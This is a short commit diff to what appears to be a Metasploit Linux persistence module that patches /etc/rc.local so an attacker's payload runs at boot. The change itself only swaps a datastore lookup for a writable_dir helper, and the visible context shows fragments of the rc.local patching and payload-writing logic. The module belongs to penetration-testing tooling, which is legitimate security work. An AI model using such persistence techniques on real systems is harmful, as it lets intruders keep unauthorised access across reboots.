rc_local updated with mixin udpates

Author: h00die

modules/exploits/linux/persistence/rc_local.rb

@@ -62,7 +62,7 @@ def initialize(info = {})
   end
 
   def check
-    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
+    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
     # a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
     # /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
     # When /etc/rc.local exists, systemctl status rc.local shows active (exited).
@@ -77,7 +77,7 @@ def check
   end
 
   def install_persistence
-    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
+    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
     rc_path = '/etc/rc.local'
 
     print_status "Reading #{rc_path}"
@@ -97,7 +97,7 @@ def install_persistence
       rc_local << "\n#{pload}\nexit 0\n"
       print_status "Patching #{rc_path}"
     else
-      payload_path = datastore['WritableDir']
+      payload_path = writable_dir
       payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
       payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
       payload_path << payload_name